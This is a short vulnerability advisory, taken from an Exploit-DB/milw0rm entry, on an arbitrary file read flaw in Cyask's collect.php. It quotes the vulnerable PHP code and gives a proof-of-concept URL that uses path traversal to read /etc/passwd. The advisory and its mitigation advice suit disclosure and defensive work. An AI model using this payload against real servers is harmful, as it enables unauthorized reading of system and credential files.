Cyask File Read Vulnerability

vendor:

Cyask

by:

milw0rm.com

7.5

CVSS

HIGH

File Read Vulnerability

CWE

Product Name: Cyask

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Cyask File Read Vulnerability

The vulnerability exists in the $neturl variable in collect.php, which is short of enough check. When the attacker registers a new user, he can pass the user check and then submit any filename to $neturl so that collect.php can read it.

Mitigation:

Ensure that the $neturl variable is properly validated and sanitized.

Source

Exploit-DB raw data:

This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass 
the user check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);
  
    $collect_url=empty($neturl) ? $url : $neturl;
  
    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?neturl=../../../etc/passwd

# milw0rm.com [2008-09-18]